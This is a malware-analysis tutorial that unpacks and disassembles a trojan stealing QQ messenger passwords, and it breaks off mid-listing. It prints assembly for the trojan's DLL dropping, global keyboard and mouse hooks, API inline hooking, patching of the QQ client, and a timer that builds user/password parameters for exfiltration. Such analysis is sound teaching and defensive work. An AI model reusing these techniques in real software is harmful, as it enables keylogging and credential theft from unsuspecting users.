

# Anatomy of a Malware

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## Introduction

This tutorial should help people understand how a simple piece of malware works. I might eventually go on with a series of papers that should help beginners in reverse engineering to cope with malicious programs.

This first paper is about a password stealer. To start with something simple, it's a dropper program written in C, packed with FSG. The code is quite clear and understandable. Many common techniques used by malware in general are used in this very program, which makes it an even more educative piece of malware to look at. For educational purposes, most of the analysis will consist of a white box approach - in our case, meaning stepping through the program and analyzing it with a disassembler.

Characteristics of the file:

- MD5 hash: fceea9d062a5f55ef4c7be8df5abd127
- Size: 6961 bytes
- Type: 32-bit Windows Portable Executable (PE)
- Packed: yes
- High level language: C, very likely

Reader's requirements:

- Intel x86 assembly
- Windows API, MSDN nearby

## The original malware

First of all, let's have a general look at this file, using an hexadecimal editor such as Hiew. Nothing particular there, it's a standard PE file with 2 sections; the first one has a physical size of 0 bytes. This is the sign of a packed file (an empty section, which will be filled with the data unpacked from another section). The file contains no visible embedded executable.

People used to reverse engineer malware will find the entry point quite characteristic:

```
xchg    esp , [ 0040D850 ]  
popad  
xchg    esp , eax  
push    ebp  
...
```

Our suspicion is confirmed, this file is packed with FSG version 2. FSG is a freely available packer; its initials mean "Fast, Small, Good". I encourage you to download it on the Internet, and try to pack a file with it, to check that the entry point is similar to the one of our malware. This packer is easily bypassed: the stub consists of the Apilib library code that decompresses the executable in the first section. The IAT is resolved with a LoadLibrary loop, just before a jump to the original entry point.

Let's see how to bypass that with OllyDbg. Since the API resolution is done after the unpacking with a series of calls to LoadLibraryA/GetProcAddress, let's set a breakpoint on this API. You can then go through this loop manually till the jump to the original entry point, or directly set a breakpoint on the jmp [ebx+0c] in the middle of the loop, which is how FSG

gives the control back. This jump lands in another section - which is generally a good means to find when a simple packer has done its jobs, by the way.

We are now located at 0x4012D3, which is the entry point of the real program. Let's dump the debugged executable from memory and analyze it. The OllyDump plugin does the trick. Let's not forget to check that the entry point of the dump is set on 0x4012D3. We now have a clean executable. The import name table is messed up, of course, but not enough to disturb the analysis in IDA. We could eventually rebuild it partially with the free tool ImpRec.

### The dump

Let's have a look at that dump. A classic entry point (push ebp / mov ebp, esp), three sections (two unnamed, one called ".newIID"). We can also see that an executable file is embedded in the dump, at file offset 0x4000. We won't have a look at it now, but our first guess is that the main executable is a simple dropper. The real malware is probably inside that file. Nothing else of interest here, except some strings, some of them quite unique to identify the malware:

```
DLLFILE
.newIID
...
RX_SHARE
RX_MUTEX
C:\NewSpy
C:\NewSpy
C:\NewSpy\Hook.dll
DllFile
C:\NewSpy\Start.exe
C:\NewSpy\Hook.dll
HookStart
...
SPY KING
Accept: */*
HTTP/1.0
Content-Type: application/x-www-form-urlencoded
&Pass=
&Serv=
&Role=
&Edit=
ToAscii
USER32.DLL
SendMessageA
USER32.DLL
C:\Program Files\Tencent\QQ\CoralQQ.exe
launcher.exe
D3D Window
D3D Window
...
```

Some mutex names, file paths, explicit names (spy, hook...), HTTP headers and URL 'GET' parameters: everything tells us we deal with an Infostealer. The QQ reference might indicate this program's goal is to steal QQ's credentials (QQ is the largest messaging system in China). The strings are not encoded: the analysis should be painless. A quick look at the import table and API names also gives some nice hints about the inner working of this program... more on that later.

### White box analysis of the dump with IDA

The program starts with:

```
004012D3 start      public start
                           proc near
```

```

004012D3      push    ebp
004012D4      mov     ebp, esp
004012D6      push    offset aRx_mutex ; "RX_MUTEX"
004012DB      push    0          ; bInheritHandle
004012DD      push    1F0001h   ; dwDesiredAccess
004012E2      call    OpenMutexA
004012E8      test   eax, eax
004012EA      jnz    short loc_4012F1
004012EC      call    do_malicious
004012F1
004012F1 loc_4012F1:
004012F1      pop     ebp
004012F2      retn
004012F2 start   endp

```

The program tries to open a mutex named "RX\_MUTEX". If the call is successful, the program terminates. This is a classic way - the easiest - to set a global marker on a system, to notify that the trojan is already running. If the call to OpenMutex fails, the mutex is not there, and the program should go on. After analysis, I renamed most functions of the program; the one we're having a look at now is do\_malicious():

```

00401221 do_malicious      proc near
00401221
00401221 pHookStart        = dword ptr -28h
00401221 Msg               = tagMSG ptr -24h
00401221 hModule           = dword ptr -8
00401221 var_4             = dword ptr -4
00401221
00401221      push    ebp
00401222      mov     ebp, esp
00401224      sub     esp, 28h
00401227      push    0          ; lpSecurityAttr
00401229      push    offset szDir_ ; "C:\\NewSpy"
0040122E      call    CreateDirectoryA
00401234      push    6          ; dwFileAttributes
00401236      push    offset szDir ; "C:\\NewSpy"
0040123B      call    SetFileAttributesA
00401241      push    offset acNewspyHook_dl
                           ; "C:\\NewSpy\\Hook.dll"
00401246      push    offset aHook ; "Hook"
0040124B      push    offset Type ; "DllFile"
00401250      call    drop_dll_from_res
00401255      add    esp, 0Ch
00401258      mov     [ebp+var_4], eax
0040125B      cmp     [ebp+var_4], 0
0040125F      jnz    short loc_401265
00401261      xor     eax, eax
00401263      jmp    short loc_4012CF
00401265 ; -----
00401265
00401265 loc_401265:
00401265      push    0          ; bFailIfExists
00401267      push    offset NewFileName
                           ; "C:\\NewSpy\\Start.exe"
0040126C      call    get_mod_filename
00401271      push    eax         ; lpExistingFileName
00401272      call    CopyFileA
00401278      push    offset LibFileName
                           ; "C:\\NewSpy\\Hook.dll"
0040127D      call    LoadLibraryA
00401283      mov     [ebp+hModule], eax
00401286      cmp     [ebp+hModule], 0
0040128A      jnz    short loc_401290
0040128C      xor     eax, eax

```

```

0040128E          jmp      short loc_4012CF
00401290 ; -----
00401290
00401290 loc_401290:
00401290          push     offset szHookStart ; "HookStart"
00401295          mov      eax, [ebp+hModule]
00401298          push     eax ; hModule
00401299          call    GetProcAddress
0040129F          mov      [ebp+pHookStart], eax
004012A2          cmp      [ebp+pHookStart], 0
004012A6          jnz     short loc_4012AC
004012A8          xor      eax, eax
004012AA          jmp     short loc_4012CF
004012AC ; -----
004012AC
004012AC loc_4012AC:
004012AC          call    map_memory_area
004012B1          call    [ebp+pHookStart]
004012B4
004012B4 loc_4012B4:
004012B4          push    0 ; wMsgFilterMax
004012B6          push    0 ; wMsgFilterMin
004012B8          push    0 ; hWnd
004012BA          lea     ecx, [ebp+Msg]
004012BD          push    ecx ; lpMsg
004012BE          call    GetMessageA
004012C4          test   eax, eax
004012C6          jz     short loc_4012CA
004012C8          jmp     short loc_4012B4
004012CA ; -----
004012CA
004012CA loc_4012CA:
004012CA          mov     eax, 1
004012CF
004012CF loc_4012CF:
004012CF          mov     esp, ebp
004012D1          pop     ebp
004012D2          retn
004012D2 do_malicious endp

```

The directory C:\NewSpy is created, and set to Hidden and System. The following call to 'drop\_dll\_from\_res' is important. It will grab the PE file we mentionned before, stored in the resource section, and will drop it on the disk. Let's check it out:

```

00401000 ; int __cdecl drop_dll_from_res
           (LPCSTR lpType, LPCSTR lpName, LPCSTR lpFileName)
00401000 drop_dll_from_res proc near
00401000
00401000 hResData      = dword ptr -1Ch
00401000 hObject       = dword ptr -18h
00401000 hResInfo      = dword ptr -14h
00401000 nNumberOfBytesToWrite= dword ptr -10h
00401000 lpBuffer       = dword ptr -0Ch
00401000 NumberOfBytesWritten= dword ptr -8
00401000 hModule        = dword ptr -4
00401000 lpType         = dword ptr 8
00401000 lpName         = dword ptr 0Ch
00401000 lpFileName     = dword ptr 10h
00401000
00401000          push    ebp
00401001          mov     ebp, esp
00401003          sub     esp, 1Ch
00401006          push    0 ; lpModuleName
00401008          call    GetModuleHandleA

```

```
0040100E      mov     [ebp+hModule], eax
00401011      mov     eax, [ebp+lpType]
00401014      push    eax          ; lpType
00401015      mov     ecx, [ebp+lpName]
00401018      push    ecx          ; lpName
00401019      mov     edx, [ebp+hModule]
0040101C      push    edx          ; hModule
0040101D      call    FindResourceA
00401023      mov     [ebp+hResInfo], eax
00401026      cmp     [ebp+hResInfo], 0
0040102A      jnz    short loc_401033
0040102C      xor     eax, eax
0040102E      jmp     loc_401100
00401033 ; -----
00401033
00401033 loc_401033:
00401033      mov     eax, [ebp+hResInfo]
00401036      push   eax          ; hResInfo
00401037      mov     ecx, [ebp+hModule]
0040103A      push   ecx          ; hModule
0040103B      call    LoadResource
00401041      mov     [ebp+hResData], eax
00401044      cmp     [ebp+hResData], 0
00401048      jnz    short loc_401051
0040104A      xor     eax, eax
0040104C      jmp     loc_401100
00401051 ; -----
00401051
00401051 loc_401051:
00401051      mov     edx, [ebp+hResData]
00401054      push   edx          ; hResData
00401055      call    LockResource
0040105B      mov     [ebp+lpBuffer], eax
0040105E      cmp     [ebp+lpBuffer], 0
00401062      jnz    short loc_401075
00401064      mov     eax, [ebp+hResData]
00401067      push   eax          ; hResData
00401068      call    FreeResource
0040106E      xor     eax, eax
00401070      jmp     loc_401100
00401075 ; -----
00401075
00401075 loc_401075:
00401075      push   0           ; hTemplateFile
00401077      push   80h         ; dwFlagsAndAttr
0040107C      push   2           ; dwCreationDispo
0040107E      push   0           ; lpSecurityAttr
00401080      push   2           ; dwShareMode
00401082      push   40000000h    ; dwDesiredAccess
00401087      mov     ecx, [ebp+lpFileName]
0040108A      push   ecx          ; lpFileName
0040108B      call    CreateFileA
00401091      mov     [ebp+hObject], eax
00401094      cmp     [ebp+hObject], 0FFFFFFFh
00401098      jnz    short loc_4010A8
0040109A      mov     edx, [ebp+hResData]
0040109D      push   edx          ; hResData
0040109E      call    FreeResource
004010A4      xor     eax, eax
004010A6      jmp     short loc_401100
004010A8 ; -----
004010A8
004010A8 loc_4010A8:
004010A8      mov     eax, [ebp+hResInfo]
```

```

004010AB      push    eax          ; hResInfo
004010AC      mov     ecx, [ebp+hModule]
004010AF      push    ecx          ; hModule
004010B0      call    SizeofResource
004010B6      mov     [ebp+nNumberOfBytesToWrite], eax
004010B9      push    0           ; lpOverlapped
004010BB      lea     edx, [ebp+NumberOfBytesWritten]
004010BE      push    edx          ; lpNumberOfBytesWritten
004010BF      mov     eax, [ebp+nNumberOfBytesToWrite]
004010C2      push    eax          ; nNumberOfBytesToWrite
004010C3      mov     ecx, [ebp+lpBuffer]
004010C6      push    ecx          ; lpBuffer
004010C7      mov     edx, [ebp+hObject]
004010CA      push    edx          ; hFile
004010CB      call    WriteFile
004010D1      mov     eax, [ebp+NumberOfBytesWritten]
004010D4      cmp     eax, [ebp+nNumberOfBytesToWrite]
004010D7      jz     short loc_4010E7
004010D9      mov     ecx, [ebp+hResData]
004010DC      push    ecx          ; hResData
004010DD      call    FreeResource
004010E3      xor     eax, eax
004010E5      jmp     short loc_401100
004010E7 ; -----
004010E7
004010E7 loc_4010E7:
004010E7      mov     edx, [ebp+hObject]
004010EA      push    edx          ; hObject
004010EB      call    CloseHandle
004010F1      mov     eax, [ebp+hResData]
004010F4      push    eax          ; hResData
004010F5      call    FreeResource
004010FB      mov     eax, 1
00401100
00401100 loc_401100:
00401100      mov     esp, ebp
00401102      pop     ebp
00401103      retn
00401103 drop_dll_from_res endp

```

This function uses the \*Resource API functions exported by kernel32 to extract a resource. The series of calls to do it is:

- FindResource, takes a pointer to the PE file, as well as a resource name and type. It returns a handle on that resource.
- This handle is used by LoadResource, which in turn returns a handle to a global memory block
- Pass this handle to LockResource to get a valid memory pointer to the resource data
- SizeOfResource is used to get the size of the resource data
- And of course, a terminating call to FreeResource

If you examine this function, calls are made to CreateFile and WriteFile, to dump to resource data to a file, whose name was the third argument of drop\_dll\_from\_res(): C:\NewSpy\Hook.dll

So a DLL file is dropped. Let's go back to the caller, do\_malicious().

The executable file - the main program - is copied to C:\NewSpyStart.exe. The dropped DLL is loaded in the address space of our program, and a pointer to an exported entry is retrieved with GetProcAddress: HookStart. This pointer is stored in a local variable, and is called later in 0x4012B1.

Meanwhile, let's check out this call to map\_memory\_area():

```

004011BC map_memory_area proc near
004011BC
004011BC hFileMappingObject= dword ptr -4
004011BC
004011BC          push    ebp
004011BD          mov     ebp, esp
004011BF          push    ecx
004011C0          push    offset Name      ; "RX_SHARE"
004011C5          push    0A4h           ; dwMaximumSizeLow
004011CA          push    0               ; dwMaximumSizeHigh
004011CC          push    4               ; flProtect
004011CE          push    0               ; lpFileMappingAttr
004011D0          push    0FFFFFFFh      ; hFile
004011D2          call    CreateFileMappingA
004011D8          mov     [ebp+hFileMappingObject], eax
004011DB          cmp     [ebp+hFileMappingObject], 0
004011DF          jz    short loc_401210
004011E1          push    0               ; dwNbOfBytesToMap
004011E3          push    0               ; dwFileOffsetLow
004011E5          push    0               ; dwFileOffsetHigh
004011E7          push    2               ; dwDesiredAccess
004011E9          mov     eax, [ebp+hFileMappingObject]
004011EC          push    eax             ; hFileMappingObject
004011ED          call    MapViewOfFile
004011F3          mov     lpBaseAddress, eax
004011F8          cmp     lpBaseAddress, 0
004011FF          jz    short loc_401210
00401201          mov     ecx, lpBaseAddress
00401207          push    ecx             ; lpBuffer
00401208          call    copy_last_a4_bytes_to_map
0040120D          add    esp, 4
00401210
00401210 loc_401210:
00401210          mov     edx, lpBaseAddress
00401216          push    edx             ; lpBaseAddress
00401217          call    UnmapViewOfFile
0040121D          mov     esp, ebp
0040121F          pop    ebp
00401220          retn
00401220 map_memory_area endp

```

This is a short function, that creates a file mapping. A file mapping is a memory region that can be backed up by a file, and can be accessed globally by processes on the system, by using its name. It's a nice way to share memory between two processes.

- In this case, no real file is used: CreateFileMapping is called with its first argument, the file handle, set to -1. A blank memory area will be created.
- A pointer to that memory block is retrieved by calling MapViewOfFile.
- Then, a function that I named fill\_shared\_mem(), is called
- The memory is unmapped from the current process with a call to UnmapViewOfFile. The memory still exists, and can be accessed by using the name of the file mapping: RX\_SHARE

Let's see what the program uses this memory block for:

```

0040114A ; int __cdecl fill_shared_memory(LPVOID lpBuffer)
0040114A fill_shared_memory proc near
0040114A
0040114A NumberOfBytesRead= dword ptr -8
0040114A hObject        = dword ptr -4
0040114A lpBuffer       = dword ptr  8
0040114A
0040114A          push    ebp

```

```

0040114B      mov    ebp, esp
0040114D      sub    esp, 8
00401150      push   0          ; hTemplateFile
00401152      push   80h       ; dwFlagsAndAttr
00401157      push   3          ; dwCreationDisp
00401159      push   0          ; lpSecurityAttr
0040115B      push   1          ; dwShareMode
0040115D      push   80000000h    ; dwDesiredAccess
00401162      call   get_mod_filename
00401167      push   eax        ; lpFileName
00401168      call   CreateFileA
0040116E      mov    [ebp+hObject], eax
00401171      cmp    [ebp+hObject], 0FFFFFFFh
00401175      jz     short loc_4011AE
00401177      push   2          ; dwMoveMethod
00401179      push   0          ; lpDistToMoveHigh
0040117B      push   0FFFFFFF5Ch    ; lDistanceToMove
00401180      mov    eax, [ebp+hObject]
00401183      push   eax        ; hFile
00401184      call   SetFilePointer
0040118A      push   0          ; lpOverlapped
0040118C      lea    ecx, [ebp+NumberOfBytesRead]
0040118F      push   ecx        ; lpNbOfBytesRead
00401190      push   0A4h       ; nNbOfBytesToRead
00401195      mov    edx, [ebp+lpBuffer]
00401198      push   edx        ; lpBuffer
00401199      mov    eax, [ebp+hObject]
0040119C      push   eax        ; hFile
0040119D      call   ReadFile
004011A3      call   GetCurrentThreadId
004011A9      mov    ecx, [ebp+lpBuffer]
004011AC      mov    [ecx], eax
004011AE
004011AE loc_4011AE:
004011AE      mov    edx, [ebp+hObject]
004011B1      push   edx        ; hObject
004011B2      call   CloseHandle
004011B8      mov    esp, ebp
004011BA      pop    ebp
004011BB      retn
004011BB fill_shared_memory endp

```

This function simply copies the last 0xA4 bytes of the file to the memory block. The first DWORD of that memory block is set to the TID of the running thread. We'll see why later... We don't know what the last 0xA0 bytes are.

Going back to `do_malicious()`, we can now see that `HookStart()` is called. Don't forget that this function is exported by the dropped DLL, loaded in our process.

The program then enters a loop on `GetMessage()`. This API just wait for a message to come in the current thread message queue. Each thread of a window application has a message queue to receive Windows messages from the system, such as WM\_MOUSEMOVE, WM\_COMMAND, WM\_QUIT, etc. In this case, the program will terminate only when it receives a message. But who would send a message to this thread ? Hmm... It's just time to examine this mysterious DLL.

## The dropped DLL

Luckily for us, the dropped DLL is not packed. Let's fire up IDA. First of all, we notice two exported entries: the classic entry point and a procedure called `HookStart`. So far so good.

If the reason parameter passed to `DllMain` is not 1, the DLL doesn't do anything. The

constant 1 is in fact DLL\_PROCESS\_ATTACH. Classic behavior, the DLL will do its jobs only when it's attached to a process, not when a thread gets created.

The file name of the executable module within which the DLL executes is retrieved, and compared to 'Client.exe' and 'Explorer.exe'. If it's neither the case, the DllMain terminates.

*1) A program called 'Explorer.exe' loads this DLL*

If the RX\_MUTEX is opened successfully, DllMain terminates. That would mean this DLL contains all it needs to execute its malicious deeds.

If the mutex does not exist, a thread is created (the entry point is the procedure I called thread\_main, which we'll check out later).

*2) A program called 'Client.exe' loads this DLL*

The shared memory map, named RX\_SHARED, is retrieved. A pointer to that block is stored in a global variable.

Another call, quite important, is made in 0x1000284C. This call checks out some QQ files located in the Program Files folder.

Remember, in our case, the DLL has been loaded by an executable, probably named Client.exe, the original name of that executable. If the program name is neither of those, DllMain will not perform anything.

HookStart was called. Let's have a look at that procedure:

```
public HookStart
10002738 HookStart    proc near
10002738          push    ebp
10002739          mov     ebp, esp
1000273B          cmp     bMouseHook, 0
10002742          jnz    short loc_1000275E
10002744          push    0           ; dwThreadId
10002746          mov     eax, hModule
1000274B          push    eax           ; hmod
1000274C          push    offset winhook_mouse_callback ; lpfn
10002751          push    WH_MOUSE      ; idHook
10002753          call    ds:SetWindowsHookExA
10002759          mov     bMouseHook, eax
1000275E          loc_1000275E:           ; CODE XREF:
1000275E          cmp     bKbHook, 0
10002765          jnz    short loc_10002782
10002767          push    0           ; dwThreadId
10002769          mov     ecx, hModule
1000276F          push    ecx           ; hmod
10002770          push    offset winhook_kb_callback ; lpfn
10002775          push    WH_KEYBOARD   ; idHook
10002777          call    ds:SetWindowsHookExA
1000277D          mov     bKbHook, eax
10002782          loc_10002782:           ; CODE XREF:
10002782          pop     ebp
10002783          retn
10002783 HookStart    endp
10002783
```

Another classic procedure we find in 99% of information stealer programs. This procedure sets two Windows-message hooks. These global hooks tell Windows to pass certain Windows messages to a user-defined hook procedure instead of the real recipient of the message. The hook procedure is then responsible for relaying that message to the recipient - or not.

Here, two hooks are set up: a mouse hook, and keyboard hook. Check the constants 7 and 2

on the SetWindowsHookEx's MSDN page.

The callback hook procedures are quite short. Here is the mouse's one:

```
10002678 ; LRESULT __stdcall winhook_mouse_callback
(int, WPARAM, LPARAM)
10002678 winhook_mouse_callback proc near
10002678
10002678 nCode          = dword ptr  8
10002678 wParam         = dword ptr  0Ch
10002678 lParam         = dword ptr  10h
10002678
10002678             push    ebp
10002679             mov     ebp, esp
1000267B             cmp     [ebp+wParam], WM_LBUTTONDOWN
10002682             jz      short loc_10002696
10002684             cmp     [ebp+wParam], WM_RBUTTONDOWN
1000268B             jz      short loc_10002696
1000268D             cmp     [ebp+wParam], WM_LBUTTONDOWNDBLCLK
10002694             jnz    short loc_100026C3
10002696
10002696 loc_10002696:
10002696             cmp     dword_10004428, 0
1000269D             jz      short loc_100026C3
1000269F             cmp     dword_1000442C, 0
100026A6             jnz    short loc_100026C3
100026A8             push    0           ; lpWindowName
100026AA             push    offset ClassName ; "D3D"
100026AF             call    ds:FindWindowA
100026B5             test   eax, eax
100026B7             jz      short loc_100026C3
100026B9             call    process_hooked_message
100026BE             mov    dword_1000442C, eax
100026C3
100026C3 loc_100026C3:
100026C3             mov    eax, [ebp+lParam]
100026C6             push   eax           ; lParam
100026C7             mov    ecx, [ebp+wParam]
100026CA             push   ecx           ; wParam
100026CB             mov    edx, [ebp+nCode]
100026CE             push   edx           ; nCode
100026CF             mov    eax, bMouseHook
100026D4             push   eax           ; hhk
100026D5             call   ds:CallNextHookEx
100026DB             pop    ebp
100026DC             retn  0Ch
100026DC winhook_mouse_callback endp
```

If the message being hooked matches a left/right button getting pressed or a left double-click, the function checks that a Window whose class is named 'D3D' exists. Many programs may have Window classes with such a name. Finding what the program wants to intercept here might be difficult. Anyway, the thing to understand is how the malware works: it sets global message hooks, and filters the messages it receives by checking if a particular window exists. The core of the malicious action that will take place if the criteria are matched, in process\_hooked\_message(). This function is also called by winhook\_kb\_callback().

## Back to DIIMain

Let's go back to DIIMain. We'll have a very quick look at mess\_with\_qq(), which is called when the DLL runs in Client.exe.

This function modifies some binaries of CoralQQ, which is an alternate version to use the QQ

messenging system (Coral QQ is to QQ what aMSN is to MSN for instance). The main binary is located by default to C:\Program Files\Tencent\QQ\CoralQQ.exe, which is the location the malware uses. By the way, using hard-coded path names is usually a bad idea, as programs could be installed anywhere on the system. Most malware now use Windows API such as GetSystemDirectory, or explore standard registry keys used by programs to store their location on the filesystem.

CoralQQ is modified to automatically load the malicious DLL when it's run by the user. This method avoids the user to insert a load point in the Registry for instance, and monitor programs to inject the DLL when an instance of CoralQQ is detected.

We'll eventually analyze file infectors specifically in a future paper.

The DlIMain still references a function we haven't examined yet: thread\_main(). This function is actually the entry point of a new thread. Let's see what it does:

```
10002784 ; DWORD __stdcall thread_main(LPVOID)
10002784 thread_main    proc near
10002784
10002784 LibFileName     = byte ptr -120h
10002784 Msg            = tagMSG ptr -1Ch
10002784
10002784         push    ebp
10002785         mov     ebp, esp
10002787         sub     esp, 120h
1000278D         push    offset aRx_mutex ; "RX_MUTEX"
10002792         push    0           ; bInitialOwner
10002794         push    0           ; lpMutexAttributes
10002796         call    ds>CreateMutexA
1000279C         push    104h        ; nSize
100027A1         lea     eax, [ebp+LibFileName]
100027A7         push    eax          ; lpFilename
100027A8         mov     ecx, hModule
100027AE         push    ecx          ; hModule
100027AF         call    ds:GetModuleFileNameA
100027B5         mov     [ebp+eax+LibFileName], 0
100027BD         lea     edx, [ebp+LibFileName]
100027C3         push    edx          ; lpLibFileName
100027C4         call    ds:LoadLibraryA
100027CA         test   eax, eax
100027CC         jnz    short loc_100027D2
100027CE         xor    eax, eax
100027D0         jmp    short loc_10002814
100027D2 ; -----
100027D2
100027D2 loc_100027D2:
100027D2         call    HookStart
100027D7         call    get_shared_map_from_exe
100027DC         cmp    pSharedMap, 0
100027E3         jz     short loc_100027F9
100027E5         push    0           ; lParam
100027E7         push    0           ; wParam
100027E9         push    WM_QUIT       ; Msg
100027EB         mov    eax, pSharedMap
100027F0         mov    ecx, [eax]
100027F2         push    ecx          ; idThread
100027F3         call    ds:PostThreadMessageA
100027F9
100027F9 loc_100027F9:
100027F9             ; thread_main+89
100027F9         push    0           ; wMsgFilterMax
100027FB         push    0           ; wMsgFilterMin
100027FD         push    0           ; hWnd
```

```

100027FF          lea      edx, [ebp+Msg]
10002802          push    edx           ; lpMsg
10002803          call    ds:GetMessageA
10002809          test   eax, eax
1000280B          jz     short loc_1000280F
1000280D          jmp    short loc_100027F9
1000280F ; -----
1000280F
1000280F loc_1000280F:
1000280F          mov     eax, 1
10002814
10002814 loc_10002814:
10002814          mov     esp, ebp
10002816          pop    ebp
10002817          retn   4
10002817 thread_main    endp

```

This function does not present any kind of difficulty. However, we can now explain where the Windows message expected by the initial program could come from. Before returning, the procedure checks the shared map, gets the TID stored in it, which is the thread ID of the unique thread of the main program, and sends its Windows message loop a WM\_QUIT message. GetMessage() will process it, and the thread will terminate properly. This message exchange is a non-classic way to achieve process synchronization. In fact, the shared memory contains vital information for the malware. If the main program closes, and is the only one to have a handle to it, this handle will be closed and the shared map destroyed - handle count falling to 0. If another program opens the shared map, such as a program which would load this DLL, then it will not get destroyed when the main program terminates.

## The hooking system

When a Windows message is hooked successfully, the hook procedure calls the very short routine `process_hooked_message()`:

```

10002024 process_hooked_message proc near
10002024          push    ebp
10002025          mov     ebp, esp
10002027          call    inj_ToAscii
1000202C          call    inj_SendMessage
10002031          call    inj_QQ_routine
10002036          call    find_special_asm_insn_in_exe
1000203B          mov     eax, 1
10002040          pop    ebp
10002041          retn
10002041 process_hooked_message endp

```

It calls several procedures used to hook a CoralQQ routine and two Windows APIs, ToAscii and SendMessageA. The way it hooks the two APIs is classic: their entry point point is saved, then modified to call a hook procedure located in the DLL. Remember that QQ has been modified, and that the DLL is running in the address space of QQ's executable. Here's an example with ToAscii:

```

10001D8A inj_ToAscii      proc near
10001D8A          push    ebp
10001D8B          mov     ebp, esp
10001D8D          push    offset ProcName ; "ToAscii"
10001D92          push    offset ModuleName ; "USER32.DLL"
10001D97          call    ds:GetModuleHandleA
10001D9D          push    eax           ; hModule
10001D9E          call    ds:GetProcAddress
10001DA4          mov     _ToAscii, eax
10001DA9          push    7              ; size
10001DAB          mov     eax, _ToAscii

```

```

10001DB0      push    eax          ; addr_src
10001DB1      push    offset orig_ToAscii_7b ; addr_dst
10001DB6      call    memcpy
10001DBB      add     esp, 0Ch
10001DBE      mov     dword_1000404D, offset hook_ToAscii
10001DC8      push    7             ; size
10001DCA      push    offset mod_ToAscii_7b ; addr_src
10001DCF      mov     ecx, _ToAscii
10001DD5      push    ecx          ; addr_dst
10001DD6      call    memcpy
10001DDB      add     esp, 0Ch
10001DDE      pop    ebp
10001DDF      retn
10001DDF inj_ToAscii    endp

```

ToAscii is used to translate a pressed key to an ASCII character. Though that may seem pointless to QWERTY keyboards' users with ASCII-only keys, don't forget that QQ is a chinese messaging system. This routine may be called by QQ to translate some chinese characters before sending them on the network.

The hook procedure, hook\_ToAscii(), first calls the original ToAscii API - by using the original entry point, previously saved - and copies the character to a buffer that will be used by the hook procedure of SendMessage.

That's not the most interesting part of the program, since we don't know the inner working of CoralQQ.exe. We can imagine that the creator of that malware analyzed it to determine what code flow the user name and password strings are following, and set hooks at key points in the program. Let's have a look at inj\_QQ\_routine():

```

10001ECB inj_QQ_routine proc near
10001ECB
10001ECB addrInsn        = dword ptr -8
10001ECB buffer          = dword ptr -4
10001ECB
10001ECB         push    ebp
10001ECC         mov     ebp, esp
10001ECE         sub     esp, 8
10001ED1         push    0Ah          ; size
10001ED3         push    offset data_mov_ecxebx_mov_esi ;
data
10001ED8         call    find_data_in_exe_module
10001EDD         add     esp, 8
10001EE0         mov     [ebp+addrInsn], eax
10001EE3         push    11h          ; size_t
10001EE5         call    malloc
10001EEA         add     esp, 4
10001EED         mov     [ebp+buffer], eax
10001EF0         mov     dword_1000407C, offset hook_qq_func
10001EFA         mov     dword_1000408B,
                           offset dword_1000407C
10001F04         push    11h          ; size
10001F06         push    offset injected_data ; addr_src
10001F0B         mov     eax, [ebp+buffer]
10001F0E         push    eax          ; addr_dst
10001F0F         call    memcpy
10001F14         add     esp, 0Ch
10001F17         mov     ecx, [ebp+buffer]
10001F1A         mov     dword_10004070, ecx
10001F20         mov     dword_10004076,
                           offset dword_10004070
10001F2A         push    8           ; size
10001F2C         push    offset unk_10004074 ; addr_src
10001F31         mov     edx, [ebp+addrInsn]
10001F34         push    edx          ; addr_dst

```

```

10001F35          call    memcopy
10001F3A          add    esp, 0Ch
10001F3D          mov    esp, ebp
10001F3F          pop    ebp
10001F40          retn
10001F40 inj_QQ_routine endp

```

The thing to see here is that a hook procedure, hook\_qq\_func(), will be called when a particular function of QQ gets called. This function in QQ is found by looking for a specific opcode sequence, located at the data reference data\_mov\_ecxebx\_mov\_esi, though this is not important. hook\_qq\_func() performs some string operations, and then calls set\_timer(), at 0x10001D03. Now that's interesting, and once again, a classic malware technique used by password-stealer programs.

```

10001A85 set_timer      proc near
10001A85          push    ebp
10001A86          mov     ebp, esp
10001A88          cmp     uIDEvent, 0
10001A8F          jnz    short loc_10001AAA
10001A91          push    offset timer_func ; lpTimerFunc
10001A96          push    5000           ; uElapse
10001A9B          push    0                ; nIDEvent
10001A9D          push    0                ; hWnd
10001A9F          call    ds:SetTimer
10001AA5          mov     uIDEvent, eax
10001AAA
10001AAA loc_10001AAA:
10001AAA          pop    ebp
10001AAB          retn
10001AAB set_timer   endp

```

The SetTimer() API sets a timer to wake up every 5 seconds. When it happens, a message can be sent to a window, or a user-defined callback function can be executed. The second possibility is used here.

If we suppose that the information has been gathered at the various hook points when the timer is set, the timer\_func() will process and send those to the author of the program. Let's dive into it!

```

10001938 ; void __stdcall timer_func(HWND,UINT,UINT,DWORD)
10001938 timer_func      proc near
10001938
10001938 url_parameters = byte ptr -500h
10001938
10001938          push    ebp
10001939          mov     ebp, esp
1000193B          sub    esp, 500h
10001941          push    edi
10001942          mov     eax, uIDEvent
10001947          push    eax           ; uIDEvent
10001948          push    0                ; hWnd
1000194A          call    ds:KillTimer
10001950          mov     [ebp+url_parameters], 0
10001957          mov     ecx, 13Fh
1000195C          xor     eax, eax
1000195E          lea     edi, [ebp-4FFh]
10001964          rep    stosd
10001966          stosw
10001968          stosb
10001969          push    offset aUser      ; "User="
1000196E          lea     ecx, [ebp+url_parameters]
10001974          push    ecx           ; char *
10001975          call    strcat
1000197A          add    esp, 8

```

```
1000197D      push    offset qq_user ; char *
10001982      lea     edx, [ebp+url_parameters]
10001988      push    edx           ; char *
10001989      call    build_url
1000198E      add    esp, 8
10001991      push    offset aPass ; "&Pass="
10001996      lea     eax, [ebp+url_parameters]
1000199C      push    eax           ; char *
1000199D      call    strcat
100019A2      add    esp, 8
100019A5      push    offset qq_pass ; char *
100019AA      lea     ecx, [ebp+url_parameters]
100019B0      push    ecx           ; char *
100019B1      call    build_url
100019B6      add    esp, 8
100019B9      push    offset aServ ; "&Serv="
100019BE      lea     edx, [ebp+url_parameters]
100019C4      push    edx           ; char *
100019C5      call    strcat
100019CA      add    esp, 8
100019CD      push    offset qq_server ; char *
100019D2      lea     eax, [ebp+url_parameters]
100019D8      push    eax           ; char *
100019D9      call    build_url
100019DE      add    esp, 8
100019E1      push    offset aRole ; "&Role="
100019E6      lea     ecx, [ebp+url_parameters]
100019EC      push    ecx           ; char *
100019ED      call    strcat
100019F2      add    esp, 8
100019F5      push    offset qq_role ; char *
100019FA      lea     edx, [ebp+url_parameters]
10001A00      push    edx           ; char *
10001A01      call    build_url
10001A06      add    esp, 8
10001A09      push    offset aEdit ; "&Edit="
10001A0E      lea     eax, [ebp+url_parameters]
10001A14      push    eax           ; char *
